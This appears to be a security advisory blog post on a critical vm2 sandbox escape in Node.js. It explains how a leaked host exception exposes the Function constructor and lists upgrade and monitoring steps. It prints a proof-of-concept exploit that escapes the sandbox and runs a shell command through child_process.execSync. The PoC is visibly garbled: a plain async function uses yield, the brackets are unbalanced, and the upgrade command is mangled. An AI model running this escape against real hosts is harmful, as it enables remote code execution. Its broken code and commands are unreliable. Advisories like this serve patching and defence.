Listen to this Post
The vulnerability exploits the JavaScript engine’s async generator cleanup mechanism to leak a host exception out of the sandbox. Specifically, when an async generator is closed using the `return()` function, its return value is awaited. If a `then()` callback attached to that return value throws an exception, the host environment catches it and incorrectly passes it back into the sandboxed code via the `yield` expression. By carefully controlling the call stack depth and catching this exception, an attacker can obtain a reference to the host’s `Function` constructor, which is normally inaccessible. From there, calling `return process` grants access to the Node.js process object, enabling the execution of arbitrary system commands via child_process.execSync(). The full exploit chain is demonstrated in the provided Proof of Concept (PoC) code.
Platform: Node.js
Version: vm2 <3.11.3
Vulnerability : Sandbox Escape
Severity: Critical
date: 2026-05-13
Prediction: Patch 2026-05-14
What Undercode Say:
Check current vm2 version npm list vm2 Update to patched version npm install [email protected] Scan for vulnerable vm2 versions npm audit | grep vm2 PoC script (save as exploit.js) const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(<code>class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function helper() { yield { next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })();</code>));
Exploit:
The exploit chains the `yield` expression inside an async generator with the generator’s `return()` method. By passing a specially crafted object with a `then()` callback that throws an exception, the attacker forces the runtime to leak a host exception into the sandbox. This exception contains a reference to the host’s `Function` constructor, breaking the sandbox isolation.
Protection from this CVE
Upgrade vm2 to version 3.11.3 or later immediately.
If immediate upgrade is impossible, consider isolating untrusted code using stricter containerization (e.g., Docker).
Monitor systems for suspicious child process executions originating from Node.js applications using vm2.
Impact:
Remote code execution on the host system. An attacker who can execute arbitrary code inside the vm2 sandbox can fully compromise the host, leading to data theft, malware installation, or further lateral movement within the network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

